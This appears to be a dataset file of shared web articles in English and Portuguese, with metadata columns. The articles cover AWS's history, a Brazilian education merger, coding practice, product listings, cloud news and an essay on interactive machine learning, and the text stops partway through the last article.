1467473120,CONTENT SHARED,-8312968399134741370,-1032019229384696495,-6150626168018883405,,,,HTML,https://techcrunch.com/2016/07/02/andy-jassys-brief-history-of-the-genesis-of-aws/,How AWS came to be,"There are lots of stories about the formation of AWS , but this much we know: 10 years ago, Amazon Web Services , the cloud Infrastructure as a Service arm of Amazon.com, was launched with little fanfare as a side business for Amazon.com. Today, it's a highly successful company in its own right, riding a remarkable $10 billion run rate . In fact, according to data from Synergy Research , in the decade since its launch, AWS has grown into the most successful cloud infrastructure company on the planet, garnering more than 30 percent of the market. That's more than its three closest rivals - Microsoft, IBM and Google - combined (and by a fair margin). What you may not know is that the roots for the idea of AWS go back to the 2000 timeframe when Amazon was a far different company than it is today - simply an e-commerce company struggling with scale problems. Those issues forced the company to build some solid internal systems to deal with the hyper growth it was experiencing - and that laid the foundation for what would become AWS. Speaking recently at an event in Washington, DC , AWS CEO Andy Jassy, who has been there from the beginning, explained how these core systems developed out of need over a three-year period beginning in 2000, and, before they knew it, without any real planning, they had the makings of a business that would become AWS. Creating internal systems It began way back in the 2000 timeframe when the company wanted to launch an e-commerce service called Merchant.com to help third-party merchants like Target or Marks & Spencer build online shopping sites on top of Amazon's e-commerce engine. It turned out to be a lot harder than they thought to build an external development platform, because, like many startups, when it launched in 1994, it didn't really plan well for future requirements. Instead of an organized development environment, they had unknowingly created a jumbled mess. That made it a huge challenge to separate the various services to make a centralized development platform that would be useful for third parties. So very quietly around 2000, we became a services company with really no fanfare. - Andy Jassy, AWS CEO At that point, the company took its first step toward building the AWS business by untangling that mess into a set of well-documented APIs. While it drove the smoother development of Merchant.com, it also served the internal developer audience well, too, and it set the stage for a much more organized and disciplined way of developing tools internally going forward. ""We expected all the teams internally from that point on to build in a decoupled, API-access fashion, and then all of the internal teams inside of Amazon expected to be able to consume their peer internal development team services in that way. So very quietly around 2000, we became a services company with really no fanfare,"" Jassy said. At about the same time, the company was growing quickly and hiring new software engineers, yet they were still finding, in spite of the additional people, they weren't building applications any faster. When Jassy, who was Amazon CEO Jeff Bezos' chief of staff at the time, dug into the problem, he found a running complaint. The executive team expected a project to take three months, but it was taking three months just to build the database, compute or storage component. Everyone was building their own resources for an individual project, with no thought to scale or reuse. (I think you can guess where this is going.) The internal teams at Amazon required a set of common infrastructure services everyone could access without reinventing the wheel every time, and that's precisely what Amazon set out to build - and that's when they began to realize they might have something bigger. A perfectly wonderful awful idea Jassy tells of an executive retreat at Jeff Bezos' house in 2003. It was there that the executive team conducted an exercise identifying the company's core competencies - an exercise they expected to last 30 minutes, but ended up going on a fair bit longer. Of course, they knew they had skills to offer a broad selection of products, and they were good at fulfilling and shipping orders, but when they started to dig they realized they had these other skills they hadn't considered. In retrospect it seems fairly obvious, but at the time I don't think we had ever really internalized that. - Andy Jassy, AWS CEO As the team worked, Jassy recalled, they realized they had also become quite good at running infrastructure services like compute, storage and database (due to those previously articulated internal requirements). What's more, they had become highly skilled at running reliable, scalable, cost-effective data centers out of need. As a low-margin business like Amazon, they had to be as lean and efficient as possible. It was at that point, without even fully articulating it, that they started to formulate the idea of what AWS could be, and they began to wonder if they had an additional business providing infrastructure services to developers. ""In retrospect it seems fairly obvious, but at the time I don't think we had ever really internalized that,"" Jassy explained. The operating system for the internet They didn't exactly have an ""aha"" moment, but they did begin to build on the initial nugget of an idea that began at the retreat - and in the Summer of 2003, they started to think of this set of services as an operating system of sorts for the internet. Remember, this is still three years before they launched AWS, so it was an idea that would take time to bake. I don't think any of us had the audacity to predict it would grow as big or as fast as it has. - Andy Jassy, AWS CEO ""If you believe companies will build applications from scratch on top of the infrastructure services if the right selection [of services] existed, and we believed they would if the right selection existed, then the operating system becomes the internet, which is really different from what had been the case for the [previous] 30 years,"" Jassy said. That led to a new discussion about the components of this operating system, and how Amazon could help build them. As they explored further, by the Fall of 2003 they concluded that this was a green field where all the components required to run the internet OS had yet to be built - at which point I'm imagining their eyes lit up. ""We realized we could contribute all of those key components of that internet operating system, and with that we went to pursue this much broader mission, which is AWS today, which is really to allow any organization or company or any developer to run their technology applications on top of our technology infrastructure platform."" Then they set out to do just that - and the rest, as they say, is history. A few years later the company launched their Infrastructure as a Service (a term that probably didn't exist until later). It took time for the idea to take hold, but today it's a highly lucrative business. AWS was first to market with a modern cloud infrastructure service when it launched Amazon Elastic Compute Cloud in August, 2006 . Surprisingly, it took several years before a competitor responded. As such, they control a vast amount of market share, at least for now. Rest assured, some very well-heeled competitors like Microsoft, Google, IBM and others are gunning for them. When asked if he ever foresaw the success they've achieved, Jassy was humble, saying, ""I don't think any of us had the audacity to predict it would grow as big or as fast as it has."" But given how the company carefully laid the groundwork for what would become AWS, you have to think that they saw something here that nobody else did, an idea that they believed could be huge. As it turned out, what they saw was nothing less than the future of computing.",en
1467514153,CONTENT SHARED,4396754138692995627,-2820994773540913369,-3999057419055236956,,,,HTML,http://exame.abril.com.br/negocios/noticias/com-compra-da-estacio-kroton-se-torna-inalcancavel,"Com compra da Estácio, Kroton se torna ""inalcançável"" | EXAME.com","São Paulo - Depois de um mês, as conversas para combinar os negócios das duas maiores empresas de educação do país podem ter chegado ao fim. O conselho de administração da Estácio aprovou nesta sexta-feira (1) as bases financeiras da última proposta feita pela Kroton para comprá-la, ou seja, concordou com o valor que a rival está disposta a desembolsar. A informação foi antecipada pelo blog Primeiro Lugar , da Revista EXAME. Outros termos do acordo serão discutidos e uma decisão final não foi tomada. A operação ainda precisaria ser aprovada pela administração de ambas as companhias e por órgãos reguladores. Pela proposta, a Kroton passaria a deter toda as ações da Estácio, cujos investidores receberiam em troca 1,281 ação ordinárias da compradora, além de dividendos extraordinários no valor de 170 milhões de reais. Com os bônus, a relação de permuta subiria para 1,322 ação da Kroton por cada papel da Estácio. Outro motivo para que a operação seja fechada é a sobreposição de acionistas, que têm participação nas duas companhias e estariam propensos a aceitar a aquisição pela Kroton, afirma Ricardo Kim, analista da XP Investimentos. Um dos acionistas em comum é o Coronation , fundo de investimentos da África do Sul. É extremamente improvável que a transação seja aprovada sem restrições pelo Cade (Conselho Administrativo de Defesa Econômica), por conta do potencial de formação de monopólio. A análise, assim como ocorreu com a aquisição da Anhanguera, pode levar meses para ser finalizada. Mas, apenas para dimensionar o tamanho do negócio, se isso acontecesse, as universidades, juntas, teriam cerca de 1,5 milhão de alunos, 1.080 polos de ensino à distância e 213 campi. As receitas das duas no ano passado, somadas, passam de 8 bilhões de reais e, os lucros, chegam a quase 2,5 bilhões de reais. ""Isso torna o grupo muito forte, com uma grande hegemonia e capacidade de negociação"", afirma William Klein, presidente da consultoria de educação Hoper. Segundo ele, é importante analisar não apenas a força financeira das duas empresas, mas também sua qualidade educacional e acadêmica. ""A educação é um ativo social, não apenas financeiro, por isso a aquisição precisa ser muito bem acompanhada por órgãos como o MEC"", afirma. Inalcançável Com a aquisição , a Kroton, que já é a maior companhia do setor no Brasil e no mundo, se torna ""praticamente inalcançável"" pelos competidores locais, nas palavras Alexandre Montes, analista da consultoria de investimentos Lopes Filho. ""A compra é estratégica e cara e, por isso, destrói valor no curto prazo, mas agrega muito no longo. Ela ganha escala, se torna ainda mais gigante, elimina estruturas em duplicidade e passa a não ser ameaçada por mais ninguém"", disse. Bruno Giardino, do Santander, concorda, mas faz ressalvas. ""A Kroton vai usar a escala a seu favor, ter mais eficiência, oferecer preços melhores. É muito difícil que alguém consiga replicar o seu tamanho, mas o mercado de ensino é muito regional, nada garante que ela vai ter as marcas de melhor reputação em todas as cidades que opera"", pondera. A capacidade de agregar valor da operação é confirmada pelo movimento do mercado. Desde o início de junho, quando as negociações começaram, as ações da Estácio subiram 56,17% e, as da Kroton, 22,74%. Análise do Cade Nos cálculos do analista do Santander, as sinergias seriam da ordem de 350 milhões de reais por ano, um montante total de cerca 4 bilhões de reais trazido a valor presente. Segundo ele, para dar sinal verde ao negócio, o Cade pode exigir, principalmente, que as companhias se desfaçam de ativos de ensino à distância. Juntas, elas concentram 48% das matrículas nessa modalidade, segundo os últimos dados do MEC, de 2014, cedidos por Giardino. A Ser Educacional, que está na disputa para levar a Estácio com uma proposta no valor de 1 bilhão de reais , poderia vir a comprar os ativos que precisarão ser vendidos. No campo de educação presencial, os problemas serão mais pontuais e, portanto, mais fáceis de serem solucionados, de acordo com Giardino. Há 14 cidades em que tanto a Estácio quanto a Kroton têm campi. Em seis delas, conforme as contas do analista, a fatia de mercado de ambas ultrapassa 40%: Santo André (SP), Niterói (RJ), São José (SC), Campo Grande (MS), Macapá (AP) e São Luís (MA). A análise do Cade, porém, pode considerar a concentração das duas em cada curso, isoladamente. Foi o que aconteceu quando a Kroton comprou a Anhanguera, em 2013. Consolidação A crise econômica e a consequente queda dos investimentos do país em programas de financiamento, como FIES, tornaram o crescimento das companhias de educação mais difícil. Com fusões e aquisições, fica mais fácil gerar receita - e lucros. A dificuldade de crescer de forma orgânica é outra particularidade do mercado, afirma Ricardo Kim. Por isso, a educação é um setor que tende a se expandir por meio de aquisições. Não à toa, o setor vive uma consolidação. ""A compra da Estácio pode ser um gatilho para que outras transações ocorram no segmento, as empresas tendem a ficar inclinadas a se combinar para se manterem competitivas"", diz Giardino, do Santander. Também não é por acaso que a Kroton fechou o primeiro trimestre com um caixa de 574,4 milhões de reais. ""Ela é capitalizada demais. Se não houvesse esse processo de consolidação do setor, estaria na hora de distribuir dividendos polpudos aos acionistas"", diz Montes, da Lopes Filho. Para os analistas, a possibilidade de a Estácio fechar acordo com a Ser Educacional, que já era pequena porque as sinergias com a Kroton são maiores, diminuiu ainda mais. São Paulo - Grandes fusões e aquisições podem levar meses, até anos para serem concluídas, depois do anúncio. É preciso ter consenso de uma série de detalhes, além de aprovações para que o acordo possa realmente sair do papel. Nesta lista, fornecida pela Merrill DataSite, empresa de solução de data room virtual para processos de due dilligence, estão reunidos os 10 maiores negócios concluídos no país em 2015. Confira o estudo completo com o detalhe de cada transação a seguir.",pt
1467587816,CONTENT SHARED,-8796191278504623694,2553895156129400476,-1618402295825893138,,,,HTML,http://www.javaworld.com/article/2081135/core-java/object-calisthenics-change-the-way-you-code.html,Object calisthenics: Change the way you code,"If you want to sharpen your programming skills and train your brain to come up with new solutions, there's a workout program for that. Originally proposed by Jeff Bay in the ThoughtWorks Anthology (which is unfortunately out of print) object calisthenics lays out the rules of the game, and then lets you have at it with the programming problem of your choice. The rules are: Use only one level of indentation per method. Don't use the else keyword. Wrap all primitives and strings. Use only one dot per line. Don't abbreviate. Keep all entities small. Don'use any classes with more than two instance variables. Use first-class collections. Don't use any getters/setters/properties. Read more - and see object calisthenics in action - on Schneide Blog ...",en
1467588419,CONTENT SHARED,-7169261479876586557,881856221521045800,-1508245934050141332,,,,HTML,http://canaltech.com.br/noticia/gadgets/carteira-smart-tem-trava-biomatrica-e-permite-controle-por-app-71799/,Carteira inteligente tem trava biométrica e controle por aplicativo - Gadgets,"Por Redação | em Não encontrar a carteira é um problema que a maioria das pessoas já enfrentou, mas a boa notícia é que até com isso a tecnologia pode dar uma mãozinha. A Cashew é uma carteira inteligente que está em vias de sair do papel via arrecadação coletiva no Kickstarter . Com design minimalista e unissex, a Cashew oferece segurança avançada para o dinheiro e cartões do usuário. Ela possui leitor biométrico que armazena até 20 impressões digitais, permitindo o compartilhamento entre membros da família, além de conexão Bluetooth 4.0, GPS e bateria que suporta até 9 meses sem carga. A conectividade com smartphones permite que a carteira seja localizada pelo aplicativo, além de um sistema de notificação push caso o dono saia do ambiente e a deixe para trás. Assim como acontece nos sistemas de localização de telefones, o aplicativo também pode emitir um comando de identificação sonora caso a carteira seja perdida dentro do carro ou pelo sofá, por exemplo. A Cashew é resistente a arranhões e, o que é ainda melhor, à prova d'água. O interior da carteira é projetado em policarbonato flexível e comporta 30 notas e até oito cartões. Um detalhe é que ela não traz compartimento específico para moedas. A arrecadação do projeto no Kickstarter já ultrapassou os US$ 40 mil necessários e os criadores planejam começar a distribuição do produto em setembro. Assine nosso canal e saiba mais sobre tecnologia!",pt
1467590823,CONTENT SHARED,190366396794861214,-7496361692498935601,6154289517751538569,,,,HTML,http://www.imdb.com/title/tt1172049/,Demolition (2015),"Davis (Jake Gyllenhaal), a successful investment banker, struggles after losing his wife in a tragic car crash. Despite pressure from his father-in-law, Phil (Chris Cooper), to pull it together, Davis continues to unravel. What starts as a complaint letter to a vending machine company turns into a series of letters revealing startling personal admissions. Davis' letters catch the attention of customer service rep, Karen (Naomi Watts), and, amidst emotional and financial burdens of her own, the two form an unlikely connection. With the help of Karen and her son Chris (Judah Lewis), Davis starts to rebuild, beginning with the demolition of the life he once knew. Written by Fox Searchlight Taglines: LIFE: Some Disassembly Required. Motion Picture Rating ( MPAA ) Rated R for language, some sexual references, drug use and disturbing behavior | See all certifications "" Release Date: 8 April 2016 (USA) Opening Weekend: $1,098,290 (USA) (8 April 2016) Gross: $1,822,315 (USA) (15 April 2016) See full technical specs "" Trivia The screenplay for this film was featured in the 2007 Blacklist; a list of the ""most liked"" unmade scripts of the year. See more "" Quotes Soundtracks Crazy on You Written by Ann Wilson and Nancy Wilson Performed by Heart Produced by Mike Flicker Courtesy of Mushroom Records See more "" Recent Posts",en
1467596111,CONTENT SHARED,-7990179956144740367,-5868110530814399805,-3353953331642690863,,,,HTML,https://newsroom.accenture.com/news/accenture-interactive-launches-its-first-content-studio-to-deliver-innovative-and-engaging-content-to-clients.htm,Accenture Launches Content Studio,"More Content Studios planned for Accenture globally NEW YORK; June 29, 2016 - Accenture Interactive has launched a new 10,000 square foot Content Studio in New York City to create and deliver various types of content, and explore new innovations in the emerging content space. The studio offers full multimedia production, including a state-of-the-art TV and video post-production facility, and supports new, collaborative models for delivering branded content in an omni-channel world. The focus of this first-of-its-kind facility for Accenture is to drive innovation, research, creative strategy, product development and industry best practices. The Content Studio sits at the heart of Accenture Interactive's Global Content Services Practice located in New York City's SoHo neighborhood. Accenture Interactive's Content Practice focuses on the development, production and use of content on a global, enterprise scale. Building off the momentum of Accenture Interactive's top ranking by Ad Age as the world's biggest and fastest-growing digital agency, Accenture plans to open six more Content Studios over the next 24 months in locations across Europe, Asia and North America. ""Content is the greatest disruptor in the enterprise today, with new channels, touchpoints and distributions channels being created every day,"" said Donna Tuths, managing director of content services at Accenture Interactive. ""Our clients are continuously looking for ways to remain competitive by using various mediums of content, and our new content studio provides a first-class environment to help them foster new ideas and innovate in the way they use content on a global scale."" Accenture Interactive's Content Studio will support the ideation, creation and development of content, including: Help clients leverage video content to interact with their clients and become a video enabled enterprise Provide full broadcast quality post-production for clients, which expands Accenture Interactive's capabilities from digital and video to print and television Collaborate with technology alliance partners to bring cutting-edge video technology to the marketplace Create a unique space to collaborate with clients on their content strategy and execution Experiment with leading-edge technology, such as the cloud-based, 3D body scanning technology recently demoed earlier this month at Cannes Lions Scale global content management and de-coupled production to optimize speed, cost, quality -- to get the right message to the right customer at the right time In an inaugural study conducted by Accenture Interactive earlier this year titled, ""Content the H20 of Marketing,"" more than 1,000 executives from 17 countries and 14 industries were surveyed to better understand their attitudes, insights and strategies for managing digital content -- now and in the future. The study revealed that, despite challenges like speed and scale, marketers universally agree that digital content is an organizational priority and recognize the opportunities in becoming a content-led organization. About Accenture Accenture (NYSE: ACN) is a leading global professional services company, providing a broad range of services and solutions in strategy, consulting, digital, technology and operations. Combining unmatched experience and specialized skills across more than 40 industries and all business functions - underpinned by the world's largest delivery network - Accenture works at the intersection of business and technology to help clients improve their performance and create sustainable value for their stakeholders. With approximately 375,000 people serving clients in more than 120 countries, Accenture drives innovation to improve the way the world works and lives. Visit us at www.accenture.com . Accenture Interactive , part of Accenture Digital , helps the world's leading brands drive superior marketing performance across the full multichannel customer experience. Accenture Interactive offers integrated, industrialized and industry-driven digital transformation and marketing solutions. It was recently named by Ad Age as the world's largest and fastest-growing digital agency. To learn more follow us @Accenture Social and visit www.accenture.com/interactive . Contact: Kelly Coffed Accenture + 1 404 219 3100 kelly.coffed@accenture.com Copyright © 2016 Accenture. All rights reserved. Accenture, its logo, and High Performance Delivered are trademarks of Accenture.",en
1467602804,CONTENT SHARED,4609121753781446855,-3203894957285229214,1887206186402623984,,,,HTML,http://produto.mercadolivre.com.br/MLB-765982016-lava-loucas-brastemp-ative-8-servicos-blf08abana-110v-_JM,"Lava-louças Brastemp Ative! 8 Serviços Blf08abana 110v - R$ 800,00","R$ 800 00 Entrega a combinar com o vendedor Jaguariúna, São Paulo Consultar frete × Compra Garantida Compra Garantida com o MercadoPago Receba o produto que está esperando ou devolvemos o dinheiro. Compra Garantida com o MercadoPago Receba o produto que está esperando ou devolvemos o dinheiro. O que isso significa? Este vendedor tem boas qualificações, mas ainda não concretizou várias vendas. Recomendamos Revisar a qualificação feita por outros compradores Perguntar tudo o que precisar antes de comprar Pagar com o MercadoPago que o seu dinheiro estará 100% protegido. Compra Garantida com MercadoPago:Receba o produto que espera ou devolvemos o seu dinheiro Se houver algum problema ou se não receber o produto exatamente como o comprou, devolveremos o dinheiro. O que é Compra Garantida",pt
1467603105,CONTENT SHARED,-2306089797938257253,-3203894957285229214,1887206186402623984,,,,HTML,http://produto.mercadolivre.com.br/MLB-776232978-sony-playstation-3-fat-160gb-_JM,"Sony Playstation 3 Fat 160gb - R$ 720,00","R$ 720 00 × Compra Garantida Compra Garantida com o MercadoPago Receba o produto que está esperando ou devolvemos o dinheiro. Compra Garantida com o MercadoPago Receba o produto que está esperando ou devolvemos o dinheiro. O que isso significa? Este vendedor tem boas qualificações, mas ainda não concretizou várias vendas. Recomendamos Revisar a qualificação feita por outros compradores Perguntar tudo o que precisar antes de comprar Pagar com o MercadoPago que o seu dinheiro estará 100% protegido. Compra Garantida com MercadoPago:Receba o produto que espera ou devolvemos o seu dinheiro Se houver algum problema ou se não receber o produto exatamente como o comprou, devolveremos o dinheiro. O que é Compra Garantida Onde eu recebo o produto? No seu endereço, sem importar em qual lugar do país você está. Quanto tempo demora a entrega do produto? Saiba os prazos de entrega com o seu CEP no calculador de frete. Como pago o envio? Através do MercadoPago. Considere que se usar boleto bancário, o pagamento pode demorar de 1 a 2 dias úteis para ser aprovado. Qual é o custo do MercadoEnvios? Para saber quanto pagará de envio, digite o CEP do endereço que deseja receber o produto.",pt
1467634005,CONTENT SHARED,-5020541944663390025,3217014177234377440,2216758203252531925,,,,HTML,http://www.telegraph.co.uk/technology/2016/06/03/we-are-almost-definitely-living-in-a-matrix-style-simulation-cla/,"We are 'almost definitely' living in a Matrix-style simulation, claims Elon Musk","He said: ""If we're indeed a simulation, then that would be a logical possibility, that what we're measuring aren't really the laws of nature, they're some sort of attempt at some sort of artificial law that the simulators have come up with"". Some academics are sceptical of the 'Matrix theory'. Professor Peter Millican, who teaches a philosophy and computer science degree at Oxford University, said: ""The theory seems to be based on the assumption that 'superminds' would do things in much the same way as we would do them."" ""If they think this world is a simulation, then why do they think the superminds - who are outside the simulation - would be constrained by the same sorts of thoughts and methods that we are?"" However, he did concede it was beneficial to conduct research into such theories. ""It is an interesting idea, and it's healthy to have some crazy ideas. You don't want to censor ideas according to whether they seem sensible or not because sometimes important new advances will seem crazy to start with."" ""You never know when good ideas may come from thinking outside the box. This Matrix thought-experiment is actually a bit like some ideas of Descartes and Berkeley, hundreds of years ago. ""Even if there turns out to be nothing in it, the fact that you have got into the habit of thinking crazy things could mean that at some point you are going to think of something that initially may seem rather way out, but turns out not to be crazy at all."" Additional reporting by Lucy Kinder",en
1467638505,CONTENT SHARED,-7371144664961016145,3891637997717104548,-8931981784716799188,,,,HTML,https://cloudplatform.googleblog.com/2016/07/Big-data-big-bandwidth-this-week-on-Google-Cloud-Platform.html,"Big data, big bandwidth: this week on Google Cloud Platform","If you're into big data or big bandwidth, or both, Google Cloud Platform has you covered. For instance, there's a new 3+ terabyte GitHub Archive hosted on BigQuery , our cloud data warehouse and analytics service. According to the documentation, the archive ""contains a full snapshot of the content of more than 2.8 million open source GitHub repositories, including more than 145 million unique commits, over 2 billion different file paths and the contents of the latest revision for 163 million files, all of which are searchable with regular expressions."" How and what can you learn from this dataset? Google Developer Advocate Francesc Campoy , for one, asks how many Go files are in the GitHub Archive . Six seconds and two billion rows later, BigQuery had an answer: 12,624,178. In the same vein, GitHub asks who has the most commits among .edu contributors. As of a couple of days ago, berkeley.edu led the pack with 816. (Perhaps we can interest Berkeley computer science students with some free GCP credits ?) But the really big news was the undersea FASTER Cable System , which Google and consortium members turned on this week. Google invested $300 million to lay this 9,000km fibre optic cable, which, when fully lit, will carry 10 terabits of data from Oregon and Japan. To put that into context, that's about 10 million times faster than the average cable modem. Further, FASTER puts the total number of operational, Google-owned undersea cables up to four - four more than any other technology company can lay claim to.",en
1467638639,CONTENT SHARED,1158279435862414346,-1352064057049251194,3648553386653692848,,,,HTML,http://istoe.com.br/via-varejo-investe-r-13-mi-em-dois-novos-centros-de-distribuicao-e-entreposto/,Via Varejo investe R$ 13 mi em dois novos centros de distribuição e entreposto - ISTOÉ Independente,"A Via Varejo, empresa do Grupo Pão de Açúcar (GPA), investiu R$ 13 milhões em dois novos Centros de Distribuição (CDs), localizados em Hidrolândia (GO) e no Rio de Janeiro (RJ), além da construção de um entreposto em João Pessoa (PB) e a ampliação do CD de Cachoeirinha (RS). O objetivo é aprimorar o nível de serviço das lojas Casas Bahia e Pontofrio nestas regiões, além de gerar oportunidades para a sinergia das operações entre empresas do grupo, explica o vice-presidente de Operações Logísticas da Via Varejo, Marcelo Lopes. ""As novas estruturas logísticas permitem ampliar as vantagens competitivas nestes locais, pois a companhia terá mais agilidade e pontualidade nas entregas e, por conta da dimensão dos novos espaços, um sortimento maior de produtos"", explica o executivo, lembrando que a companhia vem realizando ações planejadas nesta área há quase dois anos. ""Com as melhorias de logística, estamos diminuindo os tempos de entrega de 1 a 3 dias dependendo da região."" O CD do Rio de Janeiro, que irá operar em conjunto com a Cnova, empresa responsável pelo e-commerce do GPA, será inaugurado até o final deste mês e terá 137.000 m² de área total. A unidade tem como propósito a otimização da malha logística do Estado e permitirá atendimento mais rápido para a região da Costa Verde, Zona Norte, Oeste, Sul e o Centro da capital fluminense por conta do maior espaço de armazenamento que permitirá o aumento dos estoques. É o segundo CD da Via Varejo no Estado, onde a empresa conta atualmente apenas com a unidade de Duque de Caxias. Conforme o executivo, no Rio, além de maior agilidade de entrega, a companhia prevê otimizar os custos de operação compartilhando custos fixos como aluguel e energia com a Cnova. Apesar de não divulgar estimativas de redução de custos, Lopes lembra que o CD de Camaçari (BA), inaugurado no fim de 2013, o primeiro a operar com sinergia entre a Via Varejo e Cnova, permitiu economia para a Cnova, nos primeiros dois anos, de 35%. ""Além disso, a Cnova teve redução do tempo de entrega no nordeste de até 70%"", comenta. ""Um dos grandes benefícios dos projetos de integração e sinergia entre os negócios é a possibilidade de realizar entregas aos clientes, tanto das lojas físicas quanto do e-commerce, com o mesmo veículo, gerar mais produtividade por m2 e reduzir custos fixos"", acrescenta Lopes. Os CDs de Cabo de Santo Agostinho (PE), Jundiaí (SP), Contagem (MG) e Camaçari já operam com sinergia entre a Via Varejo e outras empresas do GPA. A nova unidade que está localizada na Estrada dos Palmares, na capital do Rio de Janeiro, irá gerar cerca de 220 vagas de emprego para Via Varejo e 450 para Cnova. As empresas já operam em sinergia as Centrais de Distribuição de Pernambuco, Jundiaí (SP) e Camaçari (BA). Com inauguração realizada em maio, a cidade de Hidrolândia, no interior de Goiás, ganhou Centro de Distribuição com 28.785 m2 de armazenamento. A nova central irá beneficiar os clientes de Goiás, Brasília e Tocantins. O empreendimento gerou 66 vagas diretas de emprego. Já o CD localizado no Distrito Comercial de Cachoeirinha, cidade da região metropolitana de Porto Alegre, foi inaugurado em julho de 2015, e passou por uma ampliação que permitiu que a capacidade de armazenamento quadriplicasse de tamanho, saindo dos 8.000 m2 para 30.944 m2. No Estado há atualmente 23 lojas das bandeiras Casas Bahia e Pontofrio. Já a cidade de João Pessoa, na Paraíba, inaugurou em abril um novo Entreposto, unidade responsável por transferir as mercadorias que saem dos CDs em caminhões para pequenos veículos que fazem as entregas. Entre as melhorias que o entreposto proporcionou estão a redução do tempo de entregas para clientes por agilizar a transferência das mercadorias que vêm dos CDs para os carros de entrega, ganho nos mecanismos de acompanhamento da operação, maior controle dos estoques da unidade e pontualidade na entrega. A unidade já está atendendo 96 caminhões por mês. As informações são do jornal O Estado de S. Paulo.",pt
1467642358,CONTENT SHARED,2436112252908442663,3217014177234377440,2216758203252531925,,,,HTML,http://imasters.com.br/cursos/webinars/api-restful-mercado-livre/,[Webinar] API RESTful Mercado Livre,"Nesse Webinar iremos falar sobre a história da API RESTful do Mercado Livre, abordando o conceito de API RESTful adotado pela gente e entrar no detalhamento técnico da API publica do maior Marketplace da América Latina e de como criar uma integração com ela. Abrindo as portas para a monetização através das nossas integrações.",pt
1467650225,CONTENT SHARED,365571143597993923,-1443636648652872475,6885512560807851601,,,,HTML,https://medium.com/@atduskgreg/power-to-the-people-how-one-unknown-group-of-researchers-holds-the-key-to-using-ai-to-solve-real-cc9e75b1f334,Power to the People: How One Unknown Group of Researchers Holds the Key to Using AI to Solve Real...,"Use Active Learning to Get the Most Help from Humans The core job of most machine learning systems is to generalize from sample data created by humans. The learning process starts with humans creating a bunch of labeled data: images annotated with the objects they depict, pictures of faces with the names of the people, speech recordings with an accurate transcript, etc. Then comes training. A machine learning algorithm processes all that human-labeled data. At the end of training the learning algorithm produces a classifier, essentially a small standalone program that can provide the right answer for new input that was not part of the human-labeled training data. That classifier is what you then deploy into the world to guess your users' age, or recognize their friends' faces, or or transcribe their speech when they talk to their phone. The scarce resource in this equation is the human labor needed to label the training data in the first place. Many impressive Deep Learning results come from domains where enormous amounts of labeled data is available because it was shared by a social network's billion users or crawled from across the web . However, unless you're Facebook or Google, you'll likely find labeled data relevant to your problem somewhat more scarce, especially if you're working in some new vertical that has its own jargon or behavior or data sources. Hence you'll need to get your labels from your users. This entails building some kind of interface that shows them examples of the texts or images or other inputs you want to be able to classify and gets them to submit the correct labels. But, again, human labor - particularly when it's coming from your users - is a scarce resource. So, you'll want to only ask your users to label the data that will improve your system's results the most. Active Learning is the name for the field of machine learning that studies exactly this problem: how to find the samples for which a human label would help the system improve the most. Researchers have found a number of algorithmic approaches to this problem. These include techniques for finding the sample about which the system has the greatest uncertainty, detecting samples for which a label would cause the greatest change to the system's results, selecting samples for which the system expects that its predictions would have the highest error, and others. Burr Settles' excellent survey of Active Learning provides a great introduction to the field. As a concrete example of these ideas, here's a video demonstrating a hand gesture recognition system I built that uses Active Learning principles to request labels from the user when it sees a gesture for which it cannot make a clear prediction (details about this work here ): Don't Treat the User as an ""Oracle"" Active Learning researchers have shown success in producing higher accuracy classifiers with fewer labeled samples. Active Learning is a great way to pull the most learning out of the the labeling work you get your users to do. However, from an interaction design perspective, Active Learning has a major downside: it puts the learning system in charge of the interaction rather than the human user. Active Learning researchers refer to the human who labels the samples they select as an ""oracle"". Well, Interactive Machine Learning researchers have shown that humans don't like being treated as an oracle. In a 2010 paper, Designing Interactions for Robot Active Learners , Cakmak et al studied user perceptions of passive and active approaches to teaching a robot to recognize shapes. One option put the robot in charge. It would use Active Learning to determine the shape it wanted labeled next. Then it would point at the shape and the user would provide the answer. The other option put the users in charge, letting them select which examples to show the robot. When the robot was in charge of the interaction, selecting which sample it wanted labeled in the Active Learning style, users found the robot's stream of questions ""imbalanced and annoying"". Users also reported a worse understanding of the state of the robot's learning making them worse teachers. In a software context, Guillory and Blimes found similar feelings while attempting to apply active learning to Netflix's movie rating interface. Choose Algorithms for Their Ability to Explain Classification Results Imagine you have a persistent health problem that you need diagnosed. You have the choice of two AI systems you can use. System A has a 90% accuracy rate, the best available. It takes in your medical history, all your scans and other data and gives back a diagnosis. You can't ask it any questions or find out how it arrived at that diagnosis. You just get back the latin name for your condition and a wikipedia link. System B has an 85% accuracy rate, substantially less than System A. System B takes all your medical data and also comes back with a diagnosis. But unlike System A it also tells you how it arrived at that diagnosis. Your blood pressure is past a certain threshold, you're above a certain age, you have three of five factors from your family history, etc. Which of these two systems would you choose? There's a cliche from marketing that half of the advertising budget is wasted but no one knows which half. Machine learning researchers have a related cliche: it's easy to create a system that can be right 80% of the time, the hard part of figuring out which 80% is right. Users trust learning systems more when they can understand how they arrive at their decisions. And they are better able to correct and improve these systems when they can see the internals of their operation. So, if we want to build systems that users trust and that we can rapidly improve, we should select algorithms not just for how often they produce the right answer, but for what hooks they provide for explaining their inner workings. Some machine learning algorithms provide more of these types of affordances than others. For example, the neural networks currently pushing the state-of-the-art in accuracy on so many problems provide particularly few hooks for such explanations. They are basically big black boxes that spit out an answer (though some researchers are working on this problem). On the other hand, Random Decision Forests provide incredibly rich affordances for explaining classifications and building interactive controls of learning systems. You can figure out which variables were most important, the system's confidence about each prediction, the proximity between any two samples, etc. You wouldn't select a database or web server or javascript framework simply because of its performance benchmarks. You'd look at the API and see how much it supported the interface you want to provide your users. Similarly, as designers of machine learning systems we should expect to have the ability to access the internal state of our classifiers in order to build richer, more interactive interfaces for our users. Beyond our own design work on these systems, we want to empower our users themselves to improve and control the results they receive. Todd Kulesza , at Microsoft Research, has done extensive work on exactly this problem which he calls Explanatory Debugging . Kulesza's work produces machine learning systems that explain their classification results. These explanations themselves then act as an interface through which users can provide feedback to improve and, importantly, personalize the results. His paper on Why-Oriented End-User Debugging of Naive Bayes Text Classification provides a powerful and concrete example of the idea. Empowering Users to Create Their Own Classifiers In conventional machine learning practice, engineers build classifiers, designers integrate them into interfaces, and then users interact with their results. The problem with this pattern is that it divorces the practice of machine learning from knowledge about the problem domain and the ability to evaluate the system's results. Machine learning engineers or data scientists may understand the available algorithms and the statistical tests used to evaluate their results, but they don't truly understand the input data and they can't see problems in the results that would be obvious to their users. At best this pattern results in an extremely slow iteration cycle. Machine learning engineers return to their users with each iteration of the system, slowly learning about the domain and making incremental 